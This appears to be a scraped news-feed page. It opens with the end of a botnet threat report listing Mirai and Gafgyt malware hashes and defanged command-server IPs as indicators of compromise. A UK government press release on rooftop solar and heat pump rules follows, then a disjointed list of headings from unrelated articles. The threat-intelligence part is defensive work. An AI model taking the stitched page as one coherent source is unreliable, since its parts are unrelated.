Exploiting known security flaws in IoT devices and servers that haven’t been patched, along with the widespread use of malware targeting Linux-based systems, leads to a significant number of bots constantly searching the internet for devices to infect.

The main goal of such bots is to carry out attacks that overwhelm websites and services (DDoS attacks). Most of these bots don’t stay active after the device restarts because some device firmware doesn’t allow changes to the file system. To protect against infections like these, we recommend updating vulnerable devices as soon as security patches become available. Another thing to consider is a factory reset if your device is indeed vulnerable and exposed.

All Kaspersky products detect the threat as HEUR:Backdoor.Linux.Mirai and HEUR:Backdoor.Linux.Gafgyt.

Indicators of compromise

Host-based (MD5 hashes)
011a406e89e603e93640b10325ebbdc8
24fd043f9175680d0c061b28a2801dfc
29b83f0aae7ed38d27ea37d26f3c9117
2e9920b21df472b4dd1e8db4863720bf
3120a5920f8ff70ec6c5a45d7bf2acc8
3c2f6175894bee698c61c6ce76ff9674
45a41ce9f4d8bb2592e8450a1de95dcc
524a57c8c595d9d4cd364612fe2f057c
74dee23eaa98e2e8a7fc355f06a11d97
761909a234ee4f1d856267abe30a3935
7eb3d72fa7d730d3dbca4df34fe26274
8a3e1176cb160fb42357fa3f46f0cbde
8d92e79b7940f0ac5b01bbb77737ca6c
95eaa3fa47a609ceefa24e8c7787bd99
96ee8cc2edc8227a640cef77d4a24e83
aaf34c27edfc3531cf1cf2f2e9a9c45b
ba32f4eef7de6bae9507a63bde1a43aa
IPs
116.203.104[.]203
130.61.64[.]122
161.97.219[.]84
130.61.69[.]123
185.84.81[.]194
54.36.111[.]116
192.3.165[.]37
162.243.19[.]47
63.231.92[.]27
80.152.203[.]134
42.112.26[.]36

MIL OSI Global Banks –

June 6, 2025

MIL-OSI United Kingdom: Rooftop solar for new builds to save people money
Source: United Kingdom – Executive Government & Departments

Press release

Rooftop solar for new builds to save people money

New homeowners stand to benefit from rooftop solar and cheaper bills, with the Future Homes Standard being published this Autumn.
Families will have lower energy bills in new homes as part of the Plan for Change, as government confirms new build homes will have solar panels by default

Proposed changes in the Future Homes Standard, being published in Autumn, will ensure new homes will be modern and energy efficient, cutting bills and boosting the nation’s energy security with clean, homegrown power

Working people stand to save hundreds of pounds off their energy bills as the government confirms new build homes will have solar panels by default, unleashing a rooftop revolution.

Ministers are publishing the Future Homes Standard this autumn and have confirmed today (Friday 6 June) that solar panels will be included, leading to installation on the vast majority of new build homes.

Illustrating the benefits of solar panels, a typical existing UK home could save around £530 a year from installing rooftop solar, based on the current energy price cap.

This means today’s new proposals could significantly cut energy bills for the recipients of new build homes, tackling the cost of living for aspirational young families and new house buyers.

Under proposed changes, new homes will also have low-carbon heating, such as heat pumps and high levels of energy efficiency, cutting people’s energy bills and boosting the nation’s energy security with clean, homegrown power, in line with the Prime Minister’s Plan for Change.

To deliver these aims, the proposed Future Homes Standard would see building regulations amended to explicitly promote solar for the first time, subject to practical limits with flexibility in place for new homes surrounded by trees or with lots of shade overhead.

From switching on the kettle to cooking dinner and doing the weekly wash, families will now be able to seize the benefits of powering their lives with clean, renewable energy from the very first day in their new home, with cheaper energy bills that put more money back in their pockets.

Energy Secretary Ed Miliband said:

Solar panels can save people hundreds of pounds off their energy bills, so it is just common sense for new homes to have them fitted as standard.

So many people just don’t understand why this doesn’t already happen. With our plans, it will.

Today marks a monumental step in unleashing this rooftop revolution as part of our Plan for Change, and means new homeowners will get lower bills with clean home-grown power.

Housing and Planning Minister, Matthew Pennycook said:

As part of the government’s Plan for Change to build 1.5 million homes, we are maximising the use of renewable energy to cut people’s bills and power their homes.

The Future Homes Standard will ensure new homes are modern and efficient with low-carbon heating, while our common-sense planning changes will now make it easier and cheaper for people to use heat pumps and switch to EVs so they can play their part in bolstering our nation’s energy security.

After legislation came into force last week, more homeowners will now be able to install a heat pump within one metre of their property’s boundary without having to submit a planning application, unlocking even more savings and cutting unnecessary paperwork for working people.

With figures from Octopus showing that 34% of those who order a heat pump are discouraged or drop out for reasons attributed to the need to submit a planning application, this change will help families who may have less space outside their home make the upgrade to clean power.

The first quarter of 2025 saw a record number of applications to the Boiler Upgrade Scheme, up 73% from the same quarter in 2024.

The scheme provides households with up to £7,500 off the cost of a heat pump, which can save families around £100 a year by using a smart tariff effectively.

Chris Hewett, Chief Executive, Solar Energy UK, said:

The solar industry is very glad to hear that almost all new homes will be fitted with solar power from under the Future Homes Standard. Making solar panels a functional requirement of the Building Regulations will cut energy bills, lower carbon emissions, help drive polluting natural gas off the grid and improve our nation’s energy security, too.

Aadil Qureshi, Co-Founder and CEO, Heat Geek, said:

Installing a heat pump, particularly alongside solar panels is an amazing way for homeowners to save hundreds of pounds on their energy bills and create a more comfortable home. The simplification of planning rules will help millions of homeowners, particularly in normal family homes in towns and cities, take advantage of this technology.

Charles Wood, Deputy Director of Policy (Systems) at Energy UK, said:

The addition of rooftop solar to the Future Homes Standard is welcome and necessary in ensuring that homes built today are fit for the future. Building homes to the right standards now will deliver immediate benefits of warmer, more comfortable, and more cost-efficient homes, preventing the need to retrofit these properties later at higher costs to the customer.

This change, alongside wider reforms to planning processes and network connections, will reduce bills for people in new build properties while also giving the industry confidence to invest in increased manufacturing and installer training as demand increases, creating jobs and bringing down technology costs for everyone.

Ensuring our future energy security relies on producing more British power, the electrification of our economy and cutting waste. The energy sector continues to deliver energy efficiency improvements and install low-carbon heating, generation, and transport technologies for households and businesses across the country.

Chris O’Shea CEO of Centrica, said:

The age of solar is well and truly upon us, with millions of households up and down the country already benefiting from generating their own free electricity from the sun. Our research shows that customers can shrink their energy bills by 90% when they combine solar and battery with the right energy tariff, and this announcement means even more households can soak up the savings—and the sunshine—by generating their own clean, free electricity. And with the Future Home Standard expected in the Autumn, momentum is building behind Great Britain’s rooftop revolution.

Ed Lockhart, Chief Executive, Future Homes Hub, said:

The Future Homes Standard represents a major opportunity to build a generation of higher performing new homes. Moving to all electric homes, with photovoltaics, a better fabric system, better ventilation and smart technologies to optimise the way new homes use energy means that new homes will not only be better for the planet but also more comfortable, healthier to live in and cheaper to run for customers.

The Future Homes Hub is ready to support this mission, bringing homebuilders, social housing providers, suppliers, financial institutions and other experts together to work with government departments to find the best solutions to secure the benefits of the Future Homes Standard whilst accelerating housing delivery, crucially helping smaller developers to get the right support at the right time.

Nigel Banks, Zero Bills Director at Octopus Energy, said:

People deserve lower energy bills, and adding solar panels to a house as it’s built is an incredibly effective way to slash costs from day one.

With the right smart tech and storage added to the mix, some households won’t have to pay a penny for energy.

We’re delighted to see the Future Homes Standard enable house builders to now build the homes of the future.

Matthew Hart, Director of Residential New Build at E.ON Next, said:

Ensuring that every new home comes equipped with solar panels is a vital step forward for the UK. Our vision at E.ON has always been to make clean, affordable energy the standard, not the exception, and this move will empower homeowners to take control of their energy use and keep bills low from day one. It’s exactly the kind of bold, practical action we need to build a more secure, low-carbon future for everyone.

Mark Wakeford, National Chairman, National Federation of Builders, said:

Solar panels on new homes make sense because they lower bills and progress the clean energy revolution we so desperately need. Credit must also be given for recent announcements on grid investment and connection reforms, as these were important challenges to recognise and solve for a rooftop revolution to happen in practice.

Charlotte Lee, CEO, Heat Pump Association, said:

The HPA welcomes clarity on the publication timeline for the Future Homes Standard and confirmation that all new homes will be required to have low-carbon heating, such as heat pumps. Coupled with solar PV, highly efficient heat pump installations will result in low consumer energy bills and increase the UK’s energy security. This announcement provides a clear signal to the heat pump sector to scale up delivery in terms of workforce and manufacturing to meet the anticipated growth in the market and demonstrates the government’s commitment to decarbonise buildings.

Garry Felgate, Chief Executive of The MCS Foundation, said:

These plans by the government are a huge boost to the UK renewables sector, to our efforts to meet net zero, and in reducing energy costs for households.

This announcement clearly shows that clean energy in the UK is the future. Maximising renewable energy technologies can benefit households by reducing bills as well as enhancing our national energy security.

Trevor Hutchings, Chief Executive of the Renewable Energy Association (REA) said:

The growth of solar power has been one of the UK’s biggest renewable energy success stories, demonstrating without a doubt that we don’t have to choose between lowering our emissions and lowering household energy bills.

Today’s announcement – which the REA has long campaigned for – takes this one step further – not only enabling thousands of future homeowners to experience the benefits of affordable and clean power, but supercharging growth in the British renewable energy industry and driving forward our energy transition.

Notes to editors

Future Homes Standard

The changes outlined today will maximise the use of solar energy through the Future Homes Standard.

In 2023, the previous government proposed that new build homes would either need solar panel coverage equivalent to 40% of the building’s floor area or none at all.

This approach would have allowed for too many exemptions and no solar being installed on these developments.

The government is intending to bring forward rigorous proposals, that if developers cannot meet 40% coverage, they would still be required to install a reasonable amount of solar coverage.

Under this proposal, it would be a functional requirement of the Building Regulations that new homes, with rare exceptions, are built with renewable electricity generation. In the vast majority of cases, we expect this would be solar panels.

We are working with industry to set the technical detail ahead of publishing the final Future Homes Standard this Autumn.

The Future Homes Standard will also see homes built with low carbon heating such as heat pumps and heat networks.

Solar

The £530 a year saving is based on government’s published Home Energy Assessment tool, which allows the user to produce an estimate of the bill savings they could expect from solar given the characteristics of their home.

The figure is the potential savings for a home and is included to illustrate the benefits of solar panels. An estimate of the bill savings for a Future Homes Standard home will be included in the final impact assessment published in Autumn.

The figures are based on a typical 3.5 kW south-facing installation using the Standard Assessment Procedure (SAP) methodology.

The costs and savings individuals experience will be affected by factors such as how often they heat their home, the precise technical details of their installations, and future energy prices.

The savings displayed are based on the April 2025 price cap. As energy prices change, so will the estimates of savings.

Domestic heat pumps

The changes to permitted development rights, which came into force on Thursday 29 May in England, cover:

removing the 1m boundary rule, enabling air source heat pumps to be installed within 1m of the property boundary

increasing the size limit of the heat pump for dwellinghouses from 0.6m³ to 1.5m³

doubling the number of heat pumps permitted per detached dwellinghouse, from 1 to 2

allowing for air source heat pumps that can be used for cooling as well as heating – facilitating the role out of air-to-air models – and providing consumers more choice

Modern heat pumps are generally perceived as quiet and typically no louder than a fridge. When installed under a permitted development right, they must also comply with a noise assessment methodology which includes an upper noise limit assessed at the nearest neighbouring habitable room window or door, as part of the Microgeneration Certification Scheme Planning Standard.

There were a total of 11,256 applications to the Boiler Upgrade Scheme between January and March 2025, which was up 73% from the first quarter of 2024.

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Published 6 June 2025
MIL OSI United Kingdom –
June 6, 2025

Category: Business

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IISD’s summary

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Integrating disaster risk financing into budgets

Tackling systemic challenges

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Risk-aware international finance

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Youth as a cultural ideal

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An ‘honest’ AI

Adding a ‘world model’

On the right track – but it will be bumpy

Exploitation

Malware implant – Mirai variant

Data decryption

Anti-VM and anti-emulation

Infection statistics

Conclusion

Indicators of compromise

Rooftop solar for new builds to save people money

Notes to editors

Future Homes Standard

Solar

Domestic heat pumps

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